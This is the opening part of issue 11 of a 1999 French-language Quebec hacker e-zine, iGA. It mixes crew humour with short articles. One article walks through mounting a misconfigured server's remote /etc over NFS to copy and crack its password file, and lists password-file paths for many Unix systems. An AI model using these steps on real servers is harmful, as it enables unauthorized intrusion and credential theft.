Copy Link
Add to Bookmark
Report
iLLeGAL Granted Access Issue 11
_________________________________________________________
/ . , iGA Issue #11 [99/06] ,/
/________________________________________________________/
____ ____ ____ ________ ________ _______________
/ / / / / / . / , / __ / /
/ ,/ . / / / / ____/ ____ / /_/ . / /
/ / /___/ /___/ ____/ / / __ / /___
/ / / , / . / /_ / / / / . /
/____/________/________/_______/_________/____/ /___/________/
_________ ________ __________ ___ ____ _________ _______ ____
/ / __ / /. __ / , \ / / , / . / \
/ _____/ /_/ / / /_/ / \/ /__ . ___/ ____/ _ \
/ /. / _/ / __ / / / / / ____/ /_/ /
/ /_ / , /\ \/ / / , / /\ . / / / / , / . , /
/_________/____/ \__/____/ /___/____/ \___/ /____/ /_______/________/
___________ ________ ________ ______ _______ _______ _______
/. __ / / / . / / /__ / /__ /
/ /_/ / . ____/ . ____/ ____/ _____/ / / / /
/ __ / /___ /___ ____/___ / / / /, /
/ / / , / / / , / , / ___ __/ . /__ __/ /__
/____/ /___/________/________/_______/________/ /__/ /________/ /________/
[iGA - When our logo are not lisible]
... and look like old fashoned 70']
---------------------------------------------------------------------
disclaimer for dummies [Wyzeman]
---------------------------------------------------------------------
5200pxa180510682
fcc : gw
ut -bd
94 v -0
r.o.c
----> Maudite carte reseau bastard, J'VEUX UNE 3COM :(
---------------------------------------------------------------------
IGA #11, le premier mag officielle en collaboration avec TSA,
nous esperons que cette entraide mutuelle, sacroitra avec le temps.
Ca va roxxer cette ete, laisser moi vous le dire. anyway, ces vous
qui liser, alors jpeu bien vous dire ce que je veux :]. encore une
fois, nous avons vecu un mois plein de rebondissement.Grande nouvelle
__2 c'est enfin trouver une job au grand plaisir de son coloc so
called moi meme, (enfin de l'argent). Donc ne vous etonez pas si
messir __2 ralentie de quelque peu sa production et ces presence sur
le net jusqu'a ce que Qwzykx est monter un robot pour remplace se
chere __2 (on sais pas encore le quel des 2 ont va envoyer travailler)
Pour ma part, jai passer le mois a gambader a la recherche de groupes
inconues de la scene quebecoise et jai vit e compris pourquoi ils
etaient inconnus, allez voir vous meme ( #tgc, #uhz, #b7m et les QHA
que vous pourrez retrouver au www.qharulez.tsx.org ) tien dite merci
les amis on vient de vous donnez un ti push publicitaire :]. |JaCKeL|
aussi c'est trouver une job comme tech, y va encore surement sortir
l'excuse qui a pas assez de temps pour ecrire. Qwzykx pour ca part
a fini le cegep et a commencer a gosser a plein temps sur ce que
sera le chien iga, un entité electronique que vous pourrez
controler "from the net" pour visiter notre HQ, svp priere de pas
entrer dans ma chambre lorsque jbaise ma blonde ou que jeffectue une
messe voodoo.
N'oubliez surtout pas, le hack de wwwboard est un crime punis par
emprisonement au etat-unis. (Class B = Felony)
Jai toujours pas payer mon impot, est-ce que le canada va faire
faillite, non mais jai limpression de donner en impot la moitier
du budget federal???? est-ce normal?J'imagine qu'un pays telle que
Louganda, serait content davoir des contribuable tel que moi :]
A oui, j'oubliais, la nature premiere du disclaim, est de nous
blanchir les mains de toute saleter que vous pouriez faire en lisant
notre magazine ou en vous torchant avec. Donc pour ceux qui suivent
la serie depuis le debut vous pouvez bypasser cette section:
---
il est strictement interdit par des lois federals de commentre
toute action mettant en doute lintegriter dun systeme informatique
( une genre de charte des droits et liberter cybernetique jimagine )
et blablablablablablabla, tk vous comprennez, faite ce que vous
voulez, tant qu'on a pas rap dans vos gamic, on a asser de trouble
comme ca avec les notres ( msg a legard des agents constabulaire
moustachu, la derniere phrase netais la qu'a but humoristique et
vous savez aussi bien que nous, ou mieu meme, qu'on est totalement
legal, enfin je crois :] )
Wyzeman one for all, all drink beer
la GRC vous surveilles???
10 truc pour les decouvrirs.
1) apres la parution de votre 11e E-zine ya une echafaudage
pour nettoyer vos vitre alors que vous demeurer au sous-sol
2) apres la parution de votre 11e E-zine, Un technitien vien
verifier votre telephone et y insert un micro.
3) apres la parution de votre 11e E-zine, Un plombier vient
verifier le PH de votre eau de toillette.
4) apres la parution de votre 11e E-zine, vous appercevez une
caravane avec une skin de truck de poubelle venir fouillez
vos dechet quotidien.
5) apres la parution de votre 11e E-zine, des temoins jehova
se presente a votre porte a tout les 10 min.
6) apres la parution de votre 11e E-zine, le bar dans lequelle
vous allez toujours veillez est maintenant vide mi a par le
type au lunette fumer assis dans le fond.
7) apres la parution de votre 11e E-zine, on construit un dunken
donut a coter de chez vous.
8) apres la parution de votre 11e E-zine, on fait un gros champs
de construction deriere chez vous ou tout les travailleurs
porte un skin de veston cravate.
9) pendant la redaction de ce 11e E-Zine, ya 2 gros policier
poilu qui se presente a votre porte avec des menotes.
10) apres la parution de votre 11e E-zine, binf vous revele
sa reel orientation sexuelle [so scarred]
quote from Wyzeman
( hum, dire que si javais poursuivie des etudes en politique au lieu
de lacher apres 2 mois de sc.humaine, la planete aurais suremement un
gouvernement mondial.... dire que l'humaniter va continuer de souffrir
pour cause du systeme scolaire quebecois deficient ....)
IGA CreW
IGA JUDHA (Kebek) TSA Members (all around the world)
il sagit ici des Nouvellement
fondateur de IGA fusionner a IGA
__2 (IGA) Onyx (TSA)
Wyzeman (IGA) Nitrogen (TSA)
Qwzykx (IGA) DECdeamon (TSA)
|Jackel| (IGA) Putois (TSA)
Bozzo (IGA) |jideel| (TSA)
Data-X (IGA)
collaborateur
Qderf (IGA) Nuclear (IGA)
FreeQ (IGA) _rix_ (IGA)
Lefurotte (IGA) Number- (ind)
Datacrash (ind) Endrix (ind)
Corruptd (ind)
Blaksmurf (ind)
Werewolf (ind)
et comme on le dit de par cher FrHACK
<Snowcrach> plus on est de fou plus on rit
pour les chinois c plus on est de fou, moins on a de riz
"Le bonheur effectif parait toujours assez sordide en comparaison des larges
compensations qu'on trouve à la misère. Et il va de soi que la stabilité, en
tant que spectacle, n'arrive pas à la cheville de l'instabilité. Et le fait
d'être satisfait n'a rien du charme magique d'une bonne lutte contre le malheur,
rien du pittoresque d'un combat contre la tentation, ou d'une défaite fatale
sous les coups de la passion ou du doute. Le bonheur n'est jamais grandiose".
-Aldus Huxley, le meilleur des monde
NB: Pour runner les progs a __2 vous devez avoir les librairies, dans la section
filez du site web d'iga downloader et installer vb6libs.zip.
---------------------------------
Table des matieres de ce mois-ci;
---------------------------------
Ce mois-ci risque d'etre encore une fois tres interessant, nous avons
rassembler bcoup d'article et je crois que le #11 est le summum pour se
que j'apelle la collaboration, bcoup de collaborateurs se sont donc joint
a nous pour publiez de l'information de qualité.
I G A
------------------
denial montly Ezine
_____________
|_ _________/
|| _ _ _
|| | || \|||_
_______||_______________________________________
| [.OO] @iGA rulez [FreeQ]
| [.O1] @La review du mois [Qwzykx]
| [.O2] EmuProxy [__2]
| [.O3] @L'espion ICQ [NuCleAR]
| [.O4] @Fastest CPU,Fastest reading [|JaCKeL|]
| [.O5] @Showmount-un-show! [Onyx]
| [.O6] @Sec5 MEQ with Hacking [(Nuage)]
| [.O7] X/Wlockpicker2 improved for your Fun [__2]
| [.O8] @NetCat [_rix]
| [.O9] +PRESTO-PACK hacking (3 buck) [Wyzeman]
| [.1O] +Anarchie sti [Gandalf]
| [.11] +Civilisation o'vision [Qwzykx]
| [.12] +JavaScript tutorial [Chr|5]
| [.13] +Cgi flaws [__2]
| [.14] +Cheating on a Save file [Qwzykx]
| [.15] +Programs Cracking [_rix]
| [.16] Registries Base four your past time [|JaCKeL|]
| [.17] API WINSOCKS [Nitrogen]
| [.18] Variables of the incredible BIoS [Qwzykx]
| [.19] First Smashing stack sous Windows [_rix]
| [.2O] Sygate DOS [__2]
| [.21] Phonefucking #9 [Bozzo]
| [.22] Infopubs [Wyzeman]
Debutons avant quon ai plus ce gout dapprendre.. :}
_________________ _____ _ ______ ____ __ __ _ _
_________________ _.;'_______ ______ _____ __ __ _ __ _ __ _ _
[' [#.OO] _|_| iGA Rules
\_________/_/ So CalleD _ ______ __ _ _
When we have rules for RULES _/_/ [By: FreeQ] \
___________________ __________________ _________ ______/_/_ __ _ __ _ _ _,]
Voici pour vous les ancienes loi perdue d'iga .. celle ki ce sont perdu il y
as des temps immemoriaux dans un grand cataclisme comunement appeler le
passage du CIH sur le board a Wyze ??? que FreeQ as essayer de vous rendre
dans la plus grande autenticitee possible
IGA RULE #111 every meet will be at the bar "Le Kamarad" or the worst bar in
Quebec city which of whom will be the most cheapest.
IGA RULE #112 try not to speak the words : crime , murder , husban , or blender
in front or at least near the barmaid ... or do it at your own
risks
IGA RULE #128 You must read RULE #572 NoW!
IGA RULE #136 Don't you ever try to read any other E-zine on the net ... you
could easily find the better than IgA and no one has ever
quit IgA alive
IGA RULE #195 the adoption a a new rule require a vote between the "Staff"
member ; the vote require an answer of the unanimity + 1 voice
for the new rule to be adopted.
IGA RULE #275 never should you join any gay channel while logging on #GRC ,
cuz some peoples scan AND log the channel for blackmail issue
(watch you visitor_x)
IGA RULE #286 you wont have any "sexual" intention toward Nuage unless you
are ready to face the dreadfull wyzeman and his dark beast
called Pontiac.
IGA RULE #323 Never try to use any cracking software (bruteforce or others)
on physical objects such as but not limited to : your neighbor,
your fridge, the cop on the other side of the door or a Black
manual Suzuki Swift.
IGA RULE #335 You win a new car! ... NOT!
IGA RULE #379 Anyone who would be found guilty of attempted suicide will
meet death sentence !
IGA RULE #391 Don't foget to brush your teeth before after and while your
midnight lunch to fight cavities and gengivitis ...
IGA RULE #435 while at a meet none of the "not staff" can be drunkier than
a "Staff IgA" member ... if it happen the drunk "not staff"
must repay enough booze to the "Staff" member so he can
restabilise the situation .
IGA RULE #436 if smoking illegal substance occure while at a meet only
Wyzeman can sleep on couch in the lounge .
IGA RULE #572 goto RULE #792
IGA RULE #579 while at a meet or a LAN party you are responcible of yourself
,your behavior ,your guest and your beer ;so if __2 stole one
of your beer you are still responcible if he drop it in the
jackel's box !
IGA RULE #612 the ranking and evolution inside the "staff IgA" and "not
Staff" member of IgA will be marked in points , the points are
given by merite and mental achivement that help the groupe as
a whole , these points can also be bought with beer , food and
illegal substaces to the "Staff" at the meets .
IGA RULE #630 while attending a meet a sheep of minor age canot be allowed
to wander around __2 or wyzeman's chamber .
IGA RULE #747 if you order a pizza you must be absolutely certain to have
the right $ to pay or that you can eat it in less than 10 sec
then outrun the delivery car .
IGA RULE #792 you are near the end ... meet us at #335
IGA RULE #834 to achieve his Rite of Passage a new IGA "Staff" member must
complete a Quest to search and fetch a fetish (any piece of at
least 5cm3 or 2oz) from the car of Visitor_X . the Quest canot
be completed at a meet or a LAN party.
IGA RULE #836 __2 thou must obey unless thou will join #hack.fr and be
damned for ever with other tourmented soul such as but not
limited to : Satan , God , Patrick Normand , La Famille
Dareche & Snowcrash
IGA RULE #926 ever try to close #GRC before starting a chat with your boss
on ICQ , miss pasting is a common and miserable cause of
layoff.
___________________
[Quotes of the month]\____________________________
[Mr.Net n'a pas voulu du Hack.Fest
[Gregorie de "PointCom" n'a pas voulu changer le board de Wyze! [Fucking CiH]
_________________ _____ _ ______ ____ __ __ _ _
_________________ _.;'_______ ______ _____ __ __ _ __ _ __ _ _
[' [#.O1] _|_| iGA Review of Month
\_________/_/ So CalleD _ ______ __ _ _
When we have rules for RULES _/_/ [By: Qwzykx] \
___________________ __________________ _________ ______/_/_ __ _ __ _ _ _,]
Et c'est sur une aire de Depeche Mode que cet article s'écrit...
Suite a plusieurs demandes virtuelles, des demandes virtuel, j'ai
décider d'écrire sur ce que IGA représente vraiment, en somme,
ce que IGA est dans un milieu ou l'oxygène est à 21%, l'azote à
78% et autres gaz 1%. Dans cet univers ou le hacking se fait à
l'aide de fourchette dans un vidéo. Donc en gros afin de me
backer un article facile mensuellement (un peut comme les infos
pub a Wyze) dans cet article vous découvrirez peut être pourquoi
iGA est si fort, du moins moralement. Comme la plus part de vous
nous connaissez surtout sur IRC et avez peur de vous présenter à
nous sous quelques formes que ce soit, nous vous présenterons iGA,
ce mois-ci.
Le groupe iGA de son nom, se rencontre à chaques semaines dans
un pittoresque bar de la basse région de Québec, mais sa vous le
saviez déjà je crois non!? Ces rencontres durent généralement 6h
ou le temps est ralentit par les effets plutôt étranges de
l'alcool. Ces rencontres on déjà attirer des personnes plus ou
moins importantes on pense à Maniak, moi-même, quelques "old"
hackerz peut-être un gars de la GRC spoofer en Mr. Presonality, la
fille d'un ovni, un agent secret quoi prenait __2 pour BORICE, Ici on voit une
somes gigolos who sherch a ogly old no money girls sans oublier le glitch non word
classique Jap's in a bell phone. warper ne me
remercier pas
Mais la je vais parler de ce mois-ci, comme je disais. Le début du mois <--j'ai juste pas le
à commencer par de généreux "Eil c'est votre meilleur" d'un peut temps de la re-
partout sur le net, après ce small boust for an other, vous voyez fouttre dans le txt
le résultat (le support de cet article). Mais derrière cet |
article, il y a tellement plus que rien, derrière cet article il y a des gens qui on <--'
crut en nous, des personnes qui se sont dévouer, qui ont donner de leurs
temps afin qu'on passe de la cote C- de Maniak.net à la cote A!
Mais il y a aussi autre chose que vous verrez en grande première
dans le numéros 12 de IGA (le dernier de l'année, du moins de l'an
de vie d'iGA car comme vous le savez,c'est vers le mois de Juillet
qu'on c'est mit à penser à ce que vous connaissez présentement).
Je garderai donc les GREAT TANKS pour le prochain Zine. Pour en
revenir au mois qui passait, le iGA real live team a fait comme
s'en ait devenu une habitude, quelques LAND FEST a la Quake 2
/ Starcraft, on a encore en mémoire le dernier ou Qwzykx et __2
avec le support technologique mobile de JaCKeL, sont aller
commander au respectable heure du 2h30 AM un trip BK, soit 15
Wopper Juniors d'on le prix a été calculé affectueusement à la
calculatrice! De plus on a reçu quelques review sur des, disons,
ancienne fabulations mais temps que c'est pas confirmer, je dis
rien, au simples lecteurs, vous voyez ici l'utilité d'être dans le
iGA real world life! On a aussi tester pour la première fois le
prototype du prototype du chien iGA remercions Qwzykx c'est à dire
moi-même ainsi que __2 qui devra over coder un client et un
serveur disons plus flexible. Remercions aussi Data-X pour le 1st
user de la machine,disons plutôt le premier user de l'intelligence
aussi vétuste du cerveau du de la machine. On a aussi en cours de
développement un open accès a disons quelque chose de priver qui
est en cours de, disons écriture, et pour terminer, nous
essaierons dans le courant du prochain mois un nouveau type
d'emploi de disons,gestion de page web de type a vous servir d'une
seule main! Ensuite, quoi de neuf.. ha oui notre coder __2 a
encore pousser son Gibson OS a neuf ou presque, en nous promettant
quelque chose encore plus kick-Ass, FreeQ s'est trouver l'heureux
propriétaire d'un poste de radio le jeudi soir entre minuit et X
heures! Qderf est pus capable de voir du StarWars et Wabun arrête
pas de faire des avances a __2!
Comme il arrive 3h, je dois parfaire mon doit à la vie et aller
couper le gazon chez si vous aimer les trip real life, bien
celui-ci s'applique a cette article car durant la prochaine heure,
je serais outside a tondre le gazon tandis que cet article sera
sur mon ordi, hoster par windows 95 updater Lite Step, avec un
background cut and paste de huit pics de Sarah Michelle Gellar
fait ou plutôt découpé par moi-même qui sera ultimement balayer
par un screen saver de microsoft plus "Science", tandis que joura
en 22 Hz sur mon winamp une batch de 1h40m:17s de Depeche Mode
song je vous laisse donc penser et croire que ceci est vrai, car
ceci est VRAI! Donc a tous les exotérique expérimental de la pense
voyante, ne chercher plus la vérité! Je vous laisse donc sur la
toune avec la quelle j'ai écris la première phrase de cet article:
Love, In Itself de DM runtime: 4:29.
Me revoilà de retour après une éprouvante session de Tiny Grass
Cutter. Et si on reparlait du dernier mois.. ha oui, Wyze a aussi
continuer son rôle de diplomate en allant trouver / recruter les
autres groupes de hack "Underground" et c'est effectivement le bon
mot! On voudrait aussi remercier les voisins d'en bas pour leurs
comprenions et leur façon de dormir. Présentement, iGA se lancera
peut-être je dis bien peut-être dans une industrie qui rapportent
déjà des milliards, le cinéma, avec des production du genre Star
Warz, the pablum mess ou le Rez-de-chaussée qui nous montrera __2
voyagent dans des univers virtuels a l'aide d'indigestion de dîner
kraft. Mais tous ca n'est que fabulation vous l'aurez sûrement
deviner. En somme on ne manque pas de projet à développer pour le
prochain mois et comme vous le voyez, c'est peut-être trop de
projet pour du monde réel penserez-vous, et vous aurez peut-être
raison, mais justement, c'est ca iGA, de la fabulation et du rêve
en conserve aussi, c'est ca qui unis le groupe: chaque personne
veut s'impliquer en même temps dans tous ces projets qui ne feront
qu'apporter à ce monde ridicule une dose de stupidité de plus.
_________________ _____ _ ______ ____ __ __ _ _
_________________ _.;'_______ ______ _____ __ __ _ __ _ __ _ _
[' [#.O2] _|_| EMUPROXY
\_________/_/ So CalleD _ ______ __ _ _
Whats this crap? _/_/ [By:__2] \
___________________ __________________ _________ ______/_/_ __ _ __ _ _ _,]
-----------------------------------------------------------
[000] EmuProxy, whats is this crap? [__2]
-----------------------------------------------------------
Comme ma participation a se mag va plutot se resumer au
packet de programme qui vienne avec, je vais donc vous sortir
tout les petits tuteurs pour le bienfait de leurs utilisations,
ici nous parlerons du programme emuproxy. Tout les fichiers
[programmes] sont disponible via notre site web, bien entendu.
Cela aurait ete une bien pietre idee de les ajouters a nos
magazines.
Donc Emuproxy, quest-ce que cest encore ca? Certains ont lus
le dernier magazine? Je parle du #10? Il contenait un petit
programme, un denommer proxy telnet. Il permettait a son
usager de pouvoir se connecter sur nimporte quel service
internet [irc/telnet/ftp par exemple] a l'aide de proxies
(du sp00fing). EmuProxy est maintenant une version ameliorer
orienter IRC seulement.
MIRC n'a pas ete concu pour exploiter les proxies et donc de
ce fait ne rend pas la chose bien simple. Vous pourriez donc
par exemple controler le tout via des DCC-bots, c'est pas
tres facile a utiliser et surtout pas tres esthetique. Donc
voila qu'EMUPROXY va vous permette de vous servir des proxies
comme de banales wingates.
Emuproxy creer une couche entre vous et le serveur irc qui
est pas mal transparente vu par MIRC:
1) Vous chargez EMUPROXY
2) Vous ouvrez MIRC
3) Vous configurez votre TARGET: cest le proxy
4) vous configurez le Host IRC : Serveur IRC
5) Vous chargez le service/activer en cochant l'option
6) Vous tapez /server 127.0.0.1 255 pour vous connectez sur
la passerelle EMUPROXY
7) Des que vous voyez CONNECTED dans le emuproxy vous
tapez SEND USERNAME que vous aurez biensur configurer
8) Vous attendez :-)
9) vous minimisez Emuproxy au Systray
En esperant vous aidez, __2
_________________ _____ _ ______ ____ __ __ _ _
_________________ _.;'_______ ______ _____ __ __ _ __ _ __ _ _
[' [#.O3] _|_| L'espion ICQ
\_________/_/ So CalleD _ ______ __ _ _
The spy who shagged me _/_/ [By: NuCleAR] \
___________________ __________________ _________ ______/_/_ __ _ __ _ _ _,]
Plusieurs personne comme moi possède ICQ... Il s'agit d'un petit
programme entre le e-mail traditionnel et l'irc pour communiquer
entre 2 personne ou plus. Vous vous demander sûrement ou ICQ prend
l'argent pour faire fonctionner leur serveur et leur équipe de
technicien ?
J'ai la réponse a cette question... ICQ est un véritable espion
qui collecte tout les programme que vous avez dans votre ordinateur,
leur numéro de série, la date de l'installation, Votre nom, mais
ICQ peux aussi trouver votre adresse et votre numéro de téléphone
si vous l'avez inscrit à une seules places a linstallation d'un
programme ou a une demande de registration.
Voici un peut comment icq fais pour trouver ces information : Le
tout commence lors de auto-update (mise à jour automatique). Quand
ICQ reçoit une demande d'update il envoi tout les information sur
vos programme et les serial number et votre ip a un ordinateur
spécialement pour ca qui colleque tout ces information pour ensuite
crée une base de donner sur vous...
Il y a 2 remède pour ce problème, le 1e est de simplement de
déinstaller ICQ.Je trouve la 2e un peut plus avantageuse...il suffit
de d'ésactiver la mise a jour...
Pour cela :
- Ouvrer Windows
- Démarrer
- Exécuter
- Tapez "regedit.exe" sans les " " et cliquer sur OK
- Cliquer 2 fois sur HKEY_CURRENT_USER
- Cliquer sur Software
- Cliquer sur Mirabilis
- Ensuite sur ICQ
- Maintenant sur DefaultPrefs
- Ensuite sur auto update
- Il faut métre la valeur par défaut dauto update Dans la fenêtre de
droit pour No au lieux de Yes
- Redémarrer votre ordinateur et le tour est jouer !
Il est à noter que sur certaines version l'auto update n'es pas
installer... Mirabilis nous on dit que ce nétaient pas de
l espionnage alors quesque lespionnage ? Mirabilis font ceci que
dans le bus de revendre ces information a microsoft ou a d'autres
compagnie... si tout vos logiciel on étez acheter en copie original
vous aurez sûrement pas de problème mais dans le cas contraire vous
pouvez avoir de très gros problème...
P.S: Les changement naffecteront pas la performance de votre icq
en aucun cas...
NuClEaR 99
admin@info-shell.com
www.info-shell.com
_________________ _____ _ ______ ____ __ __ _ _
_________________ _.;'_______ ______ _____ __ __ _ __ _ __ _ _
[' [#.O4] _|_| Quickness on your machine
\_________/_/ So CalleD _ ______ __ _ _
Un-Valiumize your Windows _/_/ [By: JaCKeL] \
___________________ __________________ _________ ______/_/_ __ _ __ _ _ _,]
Hehe, un petit article d'acceleration dans un magazine de
hack ? Pkoi pas ??? Qwz divague bien sur l'image des
calloux dans des flaques d'eau !!! Non sans blague, une
machine rapide et en santé fait de vous un utilisateur
efficace.
ATTENTION ces conseils sont pour les machines dites
d'utilisation standard. Je ne suis pas responsable
des bugs de certain de vos programmes si vous essayer
ces modifications au Bureau si vous utilisez des
programme dite sur mesure ou tout autre programme de a
votre compagnie.
------ Conseil No 1 ------------------------------------
LIBÉREZ le PLUS DE MÉMOIRE POSSIBLE
Depuis l'apparition du DOS les 2 fichiers essentiel
CONFIG.SYS et AUTOEXEC.BAT ont une grande importance.
Mais depuis WINDOWS 95, c'est deux fichier sont d'une
utilité moindre et se remplisse de shit qui ralenti le
démmarage de vote machine. Backupez les sous le nom de
config.iga et autoexec.iga (hehe belle plug !!) et
maintenat éditez les.
CONFIG.SYS
1. Si vous n'utiliser pas le mode MS-DOS PUR
(MS DOS PUR = n'est pas le shell au DOS a partir de
windows, c'est le démmarage de votre machine en DOS)
Il fout dabord comprendre que Windows démmare
automatiquement tout ce qui ai necéssaire a son bon
fonctionnement. Donc supprimez absolument tout le
contenu du config.sys.
2. Si vous utiliser le mode MS-DOS PUR
Tapez comme premiere ligne :
device=c:\windows\himem.sys
(himem.sys est le gestionnaire de la mémoire XMS)
Rechercher parmis le config.sys votre gestionnaire
CD-ROM
(peut ressembler a quelquechose comme ceci)
DEVICE=c:\(quelquechose)\atapi.sys /d:mscd001
et placez le immédiatement apres la ligne du
himem.sys.
Maintenant vous pouvez effacer tous le reste car
a 98% le reste de la vidange qui si trouve est
inutile ou automatiquement démmaré.
AUTOEXEC.BAT
Tapez comme premiere ligne :
@ECHO OFF
ECHO OFF vous empêchera de voir toute le loadage
de l'autoexec.bat et permettera a votr logo du
démmarage Windows de restez jusqu'au démmarage
complet de votre windows.
Ensuiute gardez seulement les ligne suivant :
Tous ce qui commence par SET
Tous ce qui commence par Path
Maintenant effacez le reste et rebooter.
Si jamais quelque chose tourne mal, replacer vos backup.
------ Conseil No 2 ------------------------------------
Anti-Virus :
Si vous utilisez un anti-virus, il se peut fortement
qu'il utilise des ressources pour rien. Trouver les
configuration de votre anti-virus et aller a la
section qui dit a l'anti virus QUAND scanner.
Par défault l'anti-virus est actif au :
démmarage
run d'un fichier
download
a la copie
au rename
a la fermeture
a la modification
a la création d'un nouveau fichier
...
Pour gagnez un maximum de vitesse, laissez seulement
le démmarage et le download a ON.
------ Conseil No 3 ------------------------------------
Le server mode
(tres recommander si vous posseder + de 32 meg de RAM)
Le Windows se configure automatiquement pour un maximum de
32path en mémoire et un maximum de 677 nom de fichier.
Cette limite lui oblige un swap a chaque fois que vous
regardez l'arborescence de vos fichiers, a chaque démmarage
etc, etc .
1. WINDOWS 95 OSR2 et +
Bon aller dans
Panneau de configuration/system/performances
sur l'onglet system de fichier cliquer sur
disque-dur et sélectionner server Réseau.
Meme si vote ordinateur n'est pas un serveur
réseau, ceci augment la path cache a 64 path
et le filename cache a 2,729.
2. WINDOWS 95 a
Faites les étapes plus haut et corriger un bug de
vote windows en suivant les étapes suivantes :
Utiliser REGEDIT pour acceder a vote base de registre
changez les valeurs daans
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion
\FSTemplates\Server\NameCache par a9 0a 00 00
et les valeurs dans
\PathCache a 40 00 00 00
\JaCKeL\
_________________ _____ _ ______ ____ __ __ _ _
_________________ _.;'_______ ______ _____ __ __ _ __ _ __ _ _
[' [#.O5] _|_| Le bon vieux showmount
\_________/_/ So CalleD _ ______ __ _ _
The spy who shagged me _/_/ [By: Onyx] \
___________________ __________________ _________ ______/_/_ __ _ __ _ _ _,]
1. Introduction:
----------------
Bon, pour mon premier article dans iGA je vais
vous parlez du bug showmount. C'est assez vieux comme
faille mais j'ai jamais vu d'article en francais traiter
de ce sujet. Bon assez parler pour rien dire, on commence
!!! Tout d'abord il faut que la cible ai le service NFS
d'installé.
2. Explications:
----------------
Pour ceux qui ne savent pas ce qu'est NFS je vais vous
l'expliquer: Le Network File System (NFS) est un système
de fichiers réparti qui permet à des utilisateurs
d'accéder à des fichiers et à des répertoires situés sur
des ordinateurs à distance et de traiter ces fichiers et
répertoires comme s'ils étaient locaux.
Le NFS fournit ses services par un rapport client-serveur.
Les ordinateurs qui font leurs systèmes de fichiers, ou
des répertoires, et d'autres ressources disponibles pour
l'accès à distance s'appellent les serveurs. L'acte de
rendre des systèmes de fichiers disponibles s'appelle
exportation. Les ordinateurs, ou les processus qu'ils
exécutent, qui utilisent les ressources d'un serveur sont
considérés des clients. Une fois qu'un client monte un
système de fichiers qu'un serveur exporte, le client peut
accéder aux différents fichiers du serveur (l'accès aux
répertoires exportés peut être limité aux clients
spécifiques).
3. La Nature du bug showmount:
------------------------------
Ce bug provient d'une mauvaise configuration du système
NFS sur la machine serveur, ce qui permet au client de
monter le répertoire /etc sur un quelconque shell unix.
4. Comment Exploiter le bug:
----------------------------
Sous un shell unix, saisissez la commande:
showmount --all ip
Normalement ca va vous donner tous les répertoires
montables. Ensuite créer un répertoire ou vous
désirez monter le bug.
Aller dans votre répertoire racine /
et créer un répertoire: mkdir showmount
Ensuite pour exploiter le bug utiliser la commande:
mount -a www.domaine.com:/etc /showmount
La commande "mount" permet de monter une partition,
un cd-rom ou encore un lecteur de disquette,
local ou à distance.
Si ca marche c'est que vous avez réussi ;)
Et vous êtes maintenant sur le disque dur
de la machine.
Ensuite aller dans le répertoire ou vous avez
monter le bug: cd /showmount
et faite un "ls" pour voir les fichiers.
Maintenant il ne vous reste plus qu'à récupéré
le fichier passwd dans /etc et de le cracker.
Voilà, il reste encore à trouver un serveur avec ce
genre de bug, il y'en a pas beaucoup mais ca existe !
5. Commandes unix de bases:
---------------------------
La plupart des commandes du DOS ont des équivalents
sous unix et linux. Ci-dessous quelques unes des commandes
principales dont vous aurez besoin pour utiliser un shell
unix.
Dos Unix
--- ----
CD = CD
DIR = LS
COPY = CP
MOVE = MV
DEL = RM
6. Quelques Rappelles:
----------------------
Bon j'ai fais encore un petit récapitulatif des chemins
d'accès ou l'on trouve les fichiers passwords.
(c'est les répertoires par défauts, c'est clair que
vous ne les trouverez pas forcement là.)
Type de Unix: Chemin: Marque:
------------- ------- -------
Linux 1.1 /etc/shadow *
SunOS4.1+c2 /etc/security/passwd.adjunct ##username
SunOS 5.0 /etc/shadow
System V Release 4.0 /etc/shadow x
System V Release 4.2 /etc/security/* database
AIX 3 /etc/security/passwd !
ou /tcb/auth/files/<première #
lettre du username>/<username>
A/UX 3.0s /tcb/files/auth/?/ *
BSD4.3-Reno /etc/master.passwd *
ConvexOS 10 /etc/shadpw *
ConvexOS 11 /etc/shadow *
Ultrix 4 /etc/auth[.dir|.pag] *
UNICOS /etc/udb *
HP-UX /.secure/etc/passwd *
IRIX 5 /etc/shadow x
OSF/1 /etc/passwd[.dir|.pag] *
SCO Unix #.2.x /tcb/auth/files/<première *
lettre du username>/<username>
DG/UX /etc/tcb/aa/user/ *
EP/IX /etc/shadow x
PS: Ce bug ne marche que si la cible a le service
NFS installé.
Onyx.le.francais.de.service ;]
_________________ _____ _ ______ ____ __ __ _ _
_________________ _.;'_______ ______ _____ __ __ _ __ _ __ _ _
[' [#.O6] _|_| MEQ Secondaire 5 : Production Ecrite
\_________/_/ So CalleD _ ______ __ _ _
When a final Exam takes only 5K _/_/ [By:{NuAgE)] \
___________________ __________________ _________ ______/_/_ __ _ __ _ _ _,]
Voici un fait veridique, pour vous montrez que meme l'opinion des
profs changent :-)
Production écrite du MEQ de secondaire 5
Résultat : 94%
Les nouveaux moyens de communications, bénéfiques ou maléfiques?
Avec larrivée des institutions financières sur Internet, beaucoup de
genre qui sont trop occupés avec leurs tâches personnelles se sont
tournés vers ce moyen pour effectuer leurs transactions financieères,
mettre à jour leurs comptes et même accomplir leurs achats
(épicerie, linge ou autre). Mais la question est : « Les nouveaux
moyens de communication représentent-ils une menace pour la vie
privée ? » Selon moi, non puisque ces pirates de linformatique qui,
selon la plupart des gens, veulent percer le mystère sur la vie
personnelle des autres perçoivent ces recherches comme un jeu. Et,
en plus, il y a un bon nombre de solutions qui permettent de faire ses
achats en toute sécurité.
Les pirates informatiques ne veulent, pour la plupart, que dépasser
leurs limites, ce qui les rend pour ainsi dire, plutôt inoffensifs. Selon
Michel Venne dans Vie privée et démocratie à lère de linformatique :
« Des pirates de Québec ont pénétré quatre fois dans le système
informatique du Conseil exécutif du Gouvernement du Québec. Ils
nont rien trouvé. Mais ils auraient pu. » Ce qui me fait, une fois de
plus, affirmer que ces pirates ne veulent que samuser. Sils avaient
voulu trouver des renseignements personnels sur quiconque, croyez-
moi quils lauraient prise cette information. Michel Venne continue :
« Dans lun des numéros de NPC ( Northern Phun Co.,un
regroupement de pirates informatiques qui nexiste plus maintenant
mais qui publiait des magazines électroniques ), jai lu la recette pour
pénétrer le réseau des bureaux de crédit Equifax. » Même sils
savent comment faire, cela ne veut pas nécessairement dire quils le
font. Par exempl, moi, je lis le mensuel de IGA ( Illegal Granted
Access, la relève actuelle de NPC ), alors, même si je sais comment
briser ou pénétrer tel ou tel système, je ne le fais pas. De puis,
daprès Montreal Campus, plusieurs pirates informatiques mettre leur
talent et leur connaissance au profit dune compagnie, voir Equifax,
